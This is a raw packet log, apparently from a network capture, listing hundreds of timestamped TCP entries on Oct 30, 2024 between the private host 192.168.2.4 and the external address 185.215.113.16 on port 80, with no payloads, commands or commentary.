Oct 30, 2024 12:36:32.829818964 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.829833984 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.829847097 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.829965115 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.829998970 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.830015898 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.830032110 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.830065966 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.830096006 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.830099106 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.830133915 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.830137968 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.830168962 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.830200911 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.830219030 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.830235004 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.830269098 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.830296993 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.830609083 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.830661058 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.830693960 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.830704927 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.830729008 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.830740929 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.830764055 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.830804110 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.830837965 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.830857992 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.830872059 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.830888987 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.830908060 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.830940008 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.830972910 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.830992937 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.831007004 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.831016064 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.831041098 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.831073999 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.831108093 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.831120014 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.831141949 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.831159115 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.831520081 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.831553936 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.831567049 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.831585884 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.831619978 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.831633091 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.831654072 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.831687927 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.831701994 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.831721067 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.831754923 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.831774950 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.831789017 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.831825018 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.831831932 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.831907988 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.831940889 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.831960917 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.831974983 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.832014084 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.832115889 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.832149982 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.832184076 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.832197905 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.832217932 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.832251072 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.832262993 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.832285881 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.832319975 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.832334042 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.832354069 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.832386017 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.832395077 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.832420111 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.832452059 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.832461119 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.832485914 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.832520008 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.832540035 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.832923889 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.832957983 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.832973003 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.832993984 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.833043098 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.833046913 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.833081007 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.833113909 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.833127022 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.833147049 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.833180904 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.833198071 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.833215952 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.833249092 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.833262920 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.833282948 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.833316088 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.833331108 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.833348989 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.833381891 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.833409071 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.833415031 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.833448887 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.833468914 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.833482981 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.833518028 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.833523035 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.833981991 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.834034920 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.834059000 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.834069014 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.834104061 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.834120035 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.834137917 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.834172010 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.834187984 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.834204912 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.834238052 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.834253073 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.834271908 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.834304094 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.834321976 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.834338903 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.834372044 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.834384918 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.834405899 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.834439039 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.834454060 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.834471941 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.834505081 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.834520102 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.834541082 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.834574938 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.834589005 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.834609032 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.834640980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.834647894 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.834676027 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.834728956 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.834925890 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.834978104 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.835010052 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.835036993 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.835043907 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.835077047 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.835110903 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.835124969 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.835145950 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.835151911 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.835180998 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.835212946 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.835235119 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.835247040 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.835279942 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.835329056 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.835336924 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.835362911 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.835397005 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.835412979 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.835431099 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.835434914 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.835464954 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.835501909 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.835514069 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.835536003 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.835568905 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.835602999 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.835635900 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.835649014 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.835691929 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.835899115 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.835948944 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.835952044 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.835987091 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.836020947 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.836045027 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.836054087 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.836088896 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.836103916 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.836122036 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.836155891 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.836170912 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.836189032 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.836221933 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.836239100 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.836256027 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.836288929 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.836302996 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.836323023 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.836355925 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.836368084 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.836390018 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.836422920 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.836446047 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.836462975 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.836497068 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.836529016 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.836540937 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.836564064 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.836596012 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.836608887 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.836749077 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.836879969 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.836913109 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.836946011 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.836978912 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.836990118 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.837014914 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.837048054 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.837059975 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.837081909 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.837116003 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.837136984 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.837150097 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.837203979 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.987222910 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.987306118 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.987365007 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.987375975 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.987431049 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.987466097 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.987479925 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.987533092 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.987586021 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.987586975 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.987634897 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.987668991 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.987673998 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.987704992 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.987744093 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.987744093 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.987777948 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.987812042 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.987819910 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.987849951 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.987896919 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.987903118 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.987936974 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.987976074 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.987991095 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.988006115 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.988039017 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.988055944 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.988075018 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.988109112 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.988125086 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.988143921 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.988192081 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.988195896 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.988230944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.988265038 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.988284111 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.988297939 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.988331079 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.988353968 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.988365889 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.988399029 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.988416910 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.988434076 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.988467932 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.988482952 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.988523960 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.988558054 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.988568068 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.988593102 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.988626957 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.988631010 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.988662958 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.988692999 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.988708973 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.988792896 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.988826036 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.988843918 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.988862038 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.988895893 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.988910913 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.988929987 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.988962889 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.988977909 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.988996983 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.989028931 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.989043951 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.989063025 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.989097118 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.989109039 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.989131927 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.989165068 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.989178896 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.989217997 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.989250898 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.989263058 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.989284992 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.989320040 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.989331961 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.989357948 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.989392042 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.989403009 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.989443064 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.989475965 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.989486933 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.989511967 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.989545107 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.989554882 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.989578962 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.989613056 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.989623070 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.989646912 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.989681005 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.989691019 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.989716053 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.989749908 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.989763975 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.989783049 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.989815950 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.989825964 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.989850998 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.989886999 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.989897966 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.990190983 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.990225077 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.990243912 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.990259886 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.990293026 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.990307093 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.990334988 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.990367889 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.990381002 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.990401983 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.990437031 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.990451097 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.990470886 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.990504026 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.990536928 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.990585089 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.990628958 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.990724087 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.990773916 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.990813017 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.990823984 CET	49744	80	192.168.2.4	185.215.113.16
